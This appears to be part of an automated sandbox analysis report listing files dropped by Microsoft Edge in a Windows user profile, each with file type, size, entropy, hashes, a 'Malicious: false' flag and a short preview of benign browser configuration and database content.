Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9853
Entropy (8bit):	5.11631071499435
Encrypted:	false
SSDEEP:	192:stukdysW9yaNP9kEG3B8ObV+FnXwAbT+PoYJ:studsW9tJSbGXwea
MD5:	053704E68E264548F74C438514B2E676
SHA1:	6C841BDB7288591E96516A4A490AFE9BB0E74C2C
SHA-256:	E3C8CB6B95C607F64EF73EE91EFDC256F5C5940D77503CEE13CF84502E3F8907
SHA-512:	D54A4998EC50A8573C3D3C88AB76B0B5EFEAA759C9A3F8AEFF5F669646107A1791D7594C6839257FB5D6FA5303C4C23F2808E40C562E5D0F304EB947418C4758
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.2045267457677763
Encrypted:	false
SSDEEP:	48:mtonnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnJ7zt:mtc/
MD5:	A7F1B9CFB14865C2A5002B69F0356302
SHA1:	5FAF4AADBB30E6C9593873A668537BB7BD2389A3
SHA-256:	FD43D70209A9412A0A1A941CCDA3B8E09AF1002F389D6F78271F81267351E547
SHA-512:	26CF72F43DD7EB43E76892CB27B8A10B96FE81CDC2887E0ED32D883A9B650400A053541A7E3C27BCFC1B08F75ADC00CDB7CEEFCAC8D4274F0ADFB174246E95CF
Malicious:	false
Preview:	..-......................`m8?]..3.-.......uzcb...-......................`m8?]..3.-.......uzcb.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	828152
Entropy (8bit):	1.4618579815944888
Encrypted:	false
SSDEEP:	3072:bhjDzD0dsn8+v0ZpL22He7MGYtn8Z3xr3jBglAE3lFRI0bL/4GLzfEawD/PKTM53:
MD5:	C21C280F40B9427830C25729E48BB881
SHA1:	81B586C3EF0F029F1863E7C6E6939AC2F7C9D5E4
SHA-256:	4210ABE283EFD484A87A467A86DE095B6D8DF591AC8DA023EF252C258E2F807A
SHA-512:	FF7FE7E6D3AE7A456135C7A7EC5A2574851B2064A11AE3B79ABFF28809A39F804690D7E59FFAB984910BCD7F85671061979BD2E23DE9A8482C6DEF9EFF4CD7E4
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	411
Entropy (8bit):	3.769423607702625
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuLPhnill6A60t7:llc8BOuuuuuuuuuu7hill6A6Q
MD5:	A6864DA50CFC2AE7DC4B4A86CC38A242
SHA1:	CCCCCBCA8650F2E4DA2DEFF6E211A52EC3EB926F
SHA-256:	1D139DC1128DB21DD6D64489247324DD571EEB1981FBF18A2AC408FFA9ED38B9
SHA-512:	67C0BDD2E4F50F92FE156BDAB2FA096BF85917CC310905543C78ED8304193B09D3B2C014EE8A8AE0169580AE2A0B920F5040EB04FD3F39F8E9FB345490BA2ACD
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............i...;...............#38_h.......6.Z..W.F........................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.2652710618764536
Encrypted:	false
SSDEEP:	6:BMAfUWgN+q2PcNwi23oH+TcwtfrK+IFUt84MAfUWgZZmw+4MAfUWqhVkwOcNwi2R:NfJvLZYeb23FUt8wfU/+wfyv54ZYeb3J
MD5:	3C342A79F36379464E8DA978B806BFEF
SHA1:	07AD521DA891EC2AC37BD5373A425E8DB8A72696
SHA-256:	30827E23A6D833FF62AE1FF1D494F999E3A6B1BB58D52AC7DB44550F43004451
SHA-512:	A8C8DF1C435E76C67CEE8D336F7F0385E6F3D7998BFEC26781F5D6C97B0DB4E08F469099BED420F6D5516315C197D6783A04B77A7916A24AA41C7BD96B2502A6
Malicious:	false
Preview:	2024/07/26-04:13:13.229 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/07/26-04:13:13.229 b68 Recovering log #3.2024/07/26-04:13:13.230 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.2652710618764536
Encrypted:	false
SSDEEP:	6:BMAfUWgN+q2PcNwi23oH+TcwtfrK+IFUt84MAfUWgZZmw+4MAfUWqhVkwOcNwi2R:NfJvLZYeb23FUt8wfU/+wfyv54ZYeb3J
MD5:	3C342A79F36379464E8DA978B806BFEF
SHA1:	07AD521DA891EC2AC37BD5373A425E8DB8A72696
SHA-256:	30827E23A6D833FF62AE1FF1D494F999E3A6B1BB58D52AC7DB44550F43004451
SHA-512:	A8C8DF1C435E76C67CEE8D336F7F0385E6F3D7998BFEC26781F5D6C97B0DB4E08F469099BED420F6D5516315C197D6783A04B77A7916A24AA41C7BD96B2502A6
Malicious:	false
Preview:	2024/07/26-04:13:13.229 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/07/26-04:13:13.229 b68 Recovering log #3.2024/07/26-04:13:13.230 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.250744616319344
Encrypted:	false
SSDEEP:	6:BMAfUWJ+q2PcNwi23oH+TcwtfrzAdIFUt84MAfUWQZmw+4MAfUWAVkwOcNwi23o/:NfMvLZYeb9FUt8wfo/+wfw54ZYeb2J
MD5:	5560C089578C90B3A52905239FF083CE
SHA1:	CAB2A79A3E1BA2D433E48B4F08278EA3B803336A
SHA-256:	3D272BD84208288A0FF244979265883AED98BC065D9271EC9859EC2C393013DE
SHA-512:	95D47EA9297049509977B7DF89E27089C1EEED30CB5D385D7D8E2291E9BD04754819455F4929B1FE64FAD002943719A3BAC682BCD05AEE715CD8376F769A4628
Malicious:	false
Preview:	2024/07/26-04:13:13.224 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/07/26-04:13:13.225 b68 Recovering log #3.2024/07/26-04:13:13.225 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.250744616319344
Encrypted:	false
SSDEEP:	6:BMAfUWJ+q2PcNwi23oH+TcwtfrzAdIFUt84MAfUWQZmw+4MAfUWAVkwOcNwi23o/:NfMvLZYeb9FUt8wfo/+wfw54ZYeb2J
MD5:	5560C089578C90B3A52905239FF083CE
SHA1:	CAB2A79A3E1BA2D433E48B4F08278EA3B803336A
SHA-256:	3D272BD84208288A0FF244979265883AED98BC065D9271EC9859EC2C393013DE
SHA-512:	95D47EA9297049509977B7DF89E27089C1EEED30CB5D385D7D8E2291E9BD04754819455F4929B1FE64FAD002943719A3BAC682BCD05AEE715CD8376F769A4628
Malicious:	false
Preview:	2024/07/26-04:13:13.224 b68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/07/26-04:13:13.225 b68 Recovering log #3.2024/07/26-04:13:13.225 b68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34af4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34b04.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34d94.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37495.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38917.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
SHA-256:	70848325EC06B47E12C85B37284071AF2AD221661642AB0D480823ADDA8EAA23
SHA-512:	081763006CC083CC74ED3F03DA8C85088971D6B49B53D65D4B00F959D1B56E1A7492F1840B4FF41B3883B6BD3925960F7BAA5527267B9AA6D02785459C849FA3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b094.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048378163139
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yniPGWv/sxtwz7VLyMV/YoskFoz:z/0+zI7ynWv/4KfVeZoskG
MD5:	0A2CD1FBDA90EDE6F8C60E3514133C91
SHA1:	18617A90C903FD754438C6A6347E0A10F337A552
